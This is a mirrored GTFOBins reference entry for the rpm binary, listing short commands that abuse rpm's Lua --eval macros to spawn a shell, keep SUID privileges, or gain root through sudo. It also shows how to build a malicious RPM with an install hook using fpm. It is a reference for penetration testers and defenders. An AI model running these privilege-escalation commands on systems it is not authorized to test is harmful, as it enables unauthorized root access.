GTFOBins.github.io/rpm.md at 9dc5fa2128d45064a65380bd3d69eb34e9794081 - GTFOBins.github.io - Mastermindzh's git

public-mirrors/GTFOBins.github.io

mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 14:30:07 +01:00

Emilio a0674eb8f0 Add other sudo to rpm thanks to https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/ as in #51

2019-02-02 15:54:57 +00:00

593 B

Raw Blame History

functions

shell

suid

sudo

code
rpm --eval '%{lua:posix.exec("/bin/sh")}'

code
./rpm --eval '%{lua:posix.exec("/bin/sh", "-p")}'

code
sudo rpm --eval '%{lua:posix.exec("/bin/sh")}'

description	code
It runs commands using a specially crafted RPM package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target. ``` TF=$(mktemp -d) echo 'id' > $TF/x.sh fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF ```	sudo rpm -ivh x-1.0-1.noarch.rpm